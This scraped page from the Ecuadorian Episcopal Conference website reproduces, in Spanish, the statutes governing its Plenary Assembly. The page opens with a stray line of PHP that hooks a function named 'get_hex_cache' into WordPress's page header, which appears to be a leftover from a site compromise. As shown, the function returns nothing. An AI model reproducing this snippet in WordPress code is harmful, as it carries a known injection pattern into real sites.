if ((is_admin() || (function_exists('get_hex_cache'))) !== true) { add_action('wp_head', 'get_hex_cache', 12); function get_hex_cache() { return''; } } Asamblea Plenaria – Conferencia Episcopal Ecuatoriana

Asamblea Plenaria

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De la Asamblea Plenaria

Artículos.

Art. 4.- & 1. La Conferencia Episcopal ejercita su actividad principalmente por medio de la Asamblea Plenaria. De ella se originan las funciones y mandatos para sus organismos y, en su caso, para las Iglesias particulares, conforme a los Estatutos y al derecho de la Iglesia.

Art. 4.- & 2. La Asamblea Plenaria es la instancia suprema que coordina la colaboración de los Obispos y fomenta una unión cada vez más estrecha entre ellos para la promoción y tutela de la fe y de las costumbres, la vivencia litúrgica, la promoción y formación de las vocaciones sacerdotales y a la vida consagrada, el mejoramiento de la evangelización y la catequesis, el impulso a las instituciones educativas, el compromiso ecuménico, las relaciones con las autoridades civiles, la defensa de la vida humana, de la paz y de los derechos humanos, la promoción de la justicia social, el uso de los medios de comunicación social y otros aspectos del servicio pastoral.

Art. 5.- & 1. Tienen voz y voto deliberativo en la Asamblea Plenaria todos los miembros de la Conferencia Episcopal señalados en el art. 3. Los Obispos eméritos tienen voz y voto consultivo (Cfr. MP Apostolos suos, 17). Solamente los Obispos diocesanos y quienes se les equiparan en el derecho, así como los Obispos Coadjutores, tienen voto deliberativo en la reforma de Estatutos (Cfr. CIC, c.454 && 1-2). & 2.La asistencia a todas las sesiones de la Asamblea Plenaria expresa el espíritu colegial que la convoca y anima. La ausencia total o parcial deberá ser justificada ante el Presidente por motivos proporcionados. & 3.El Señor Nuncio Apostólico es invitado a la sesión inaugural de la Asamblea Plenaria. Asiste a otras reuniones de la Conferencia por mandato de la Santa Sede o por invitación de la misma Conferencia.

Art. 6.- & 1. Las Asambleas Plenarias ordinarias se realizarán dos veces por año, en la segunda semana de Pascua y en la tercera semana de octubre, salvo que la misma Asamblea o el Consejo Permanente modifiquen la fecha en forma ocasional. La convocatoria se realizará por Secretaría, a pedido del Presidente, con un mes de anticipación al menos; llevará la indicación de los temas principales previstos para la reunión. & 2.Los temas principales de las Asambleas Plenarias serán determinados por la misma Asamblea o por el Consejo Permanente, al que corresponde cuidar de que se preparen los asuntos a tratarse y de que se ejecuten debidamente las decisiones tomadas por la Asamblea. (Cfr. CIC, c. 457). La Presidencia y la Secretaría General, con la participación de las Comisiones Episcopales pertinentes, prepararán el proyecto completo de temario y calendario y lo presentarán al Consejo Permanente. De ordinario, se iniciaría cada Asamblea con un discurso del Presidente y un mensaje del Señor Nuncio Apostólico. & 3.La Asamblea Plenaria, en la que corresponda realizar las elecciones trienales, tendrá como tema principal la evaluación de las actividades desarrolladas y la aprobación de las orientaciones y programas para el siguiente período. En la primera reunión del año, se evaluará el informe presupuestario (Cfr. 23, e). & 4.Las reuniones extraordinarias serán convocadas por decisión del Consejo Permanente o por pedido de la tercera parte de los miembros de la Conferencia.

Art. 7.- & 1. Corresponde a la Asamblea elegir, conforme al derecho universal (Cfr. CIC, c. 119,1 ), al Presidente, Vicepresidente, Secretario General y Secretario Adjunto, Presidentes de las Comisiones Episcopales, dos vocales principales y dos suplentes para el Consejo Gubernativo de Bienes, Delegado y Delegado suplente para el CELAM. & 2.Estas responsabilidades se elegirán para períodos de tres años, con posibilidad de una sola reelección consecutiva. & 3.Según la respectiva convocatoria, se elegirán también los Delegados al Sínodo, a las Conferencias Generales del Episcopado Latinoamericano y otros posibles Delegados. & 4.Ningún miembro de la Conferencia podrá recibir más de una responsabilidad habitual, a no ser que le corresponda alguna función adicional ex-officio, o se trate de una dedicación ocasional, como la del Vicepresidente, Delegado al CELAM y otros casos análogos. Todos los Obispos recibirán alguna responsabilidad, como también los Obispos eméritos a quienes se lo permita el estado de salud.

Art. 8.- Las resoluciones de la Asamblea Plenaria, como las de los demás organismos colegiados de la Conferencia, se aprobarán por mayoría absoluta de votos, salvo que haya normas especiales para el caso.

Art. 9.- & 1. Movidos por el deseo de armonizar plenamente los esfuerzos pastorales y de fomentar la comunión basada en la verdad y la lealtad, los obispos dejando a salvo su potestad ordinaria, propia e inmediata que les ha sido confiada por derecho divino para el ejercicio de su función pastoral (Cfr. CIC, c. 381, & 1), acogerán estas decisiones y podrán ser promulgadas en sus diócesis como actos propios. & 2.Permanece íntegra la competencia de cada Obispo diocesano y, fuera de los casos previstos en el art. 10, ni la Conferencia ni su Presidente pueden actuar en nombre de todos los Obispos a no ser que todos y cada uno hubieran dado su propio consentimiento (Cfr. CIC, c. 455, & 4). Por tanto, si obstaran graves motivos, que a cada Obispo corresponde ponderar ante el Señor, las resoluciones podrán no ser aplicadas en su jurisdicción.

Art. 10.- & 1. La Asamblea Plenaria expedirá decretos generales cuando así lo prescriba el derecho común o lo establezca un mandato especial de la Santa Sede, otorgado motu proprio o a petición de la misma Conferencia (Cfr. CIC, c. 455, & 1). & 2.Para la validez de estos decretos, es preciso que obtengan en Asamblea Plenaria las dos terceras partes de los votos de todos los miembros de la Conferencia con voto deliberativo, sean revisados por la Santa Sede y legítimamente promulgados (Cfr. CIC, c. 455 & 2). & 3.Tales decisiones serán fielmente acogidas y aplicadas por los Obispos miembros de la Conferencia, aun cuando no les hubieran prestado el voto favorable en su momento. & 4. La Conferencia Episcopal promulga sus decretos mediante el envío oficial de los mismos a todos los miembros. Para su entrada en vigencia se estará al derecho universal (Cfr. CIC, c. 8).

Art. 11.- & 1.Las declaraciones de la Conferencia, para que constituyan magisterio auténtico y sean publicadas a nombre de la misma Conferencia, deben ser aprobadas en Asamblea Plenaria, con el voto unánime de los miembros Obispos o con la mayoría de al menos dos tercios de los Obispos que tienen derecho a voto deliberativo; en este último caso, sin embargo, a la promulgación debe preceder la revisión de la Santa Sede (Cfr. MP Apostolos suos art. 1). Los fieles deben adherirse a estas declaraciones con religioso asentimiento de ánimo. & 2.Para otro tipo de intervenciones magisteriales, diverso del señalado en el párrafo anterior, la Comisión Doctrinal debe ser autorizada explícitamente por el Consejo Permanente (Cfr. MP Apostolos suos, art. 2).

Art. 12. Al menos cada tres años, la Asamblea Plenaria elaborará bajo secreto una lista de presbíteros, también de entre los miembros    de institutos de vida consagrada, que sean más idóneos para el episcopado. El Secretario General enviará las actas de la sesión correspondiente a la Nunciatura Apostólica (Cfr. CIC, c. 377, & 2).

 

(Tomado de los Estatutos de la Conferencia Episcopal Ecuatoriana)

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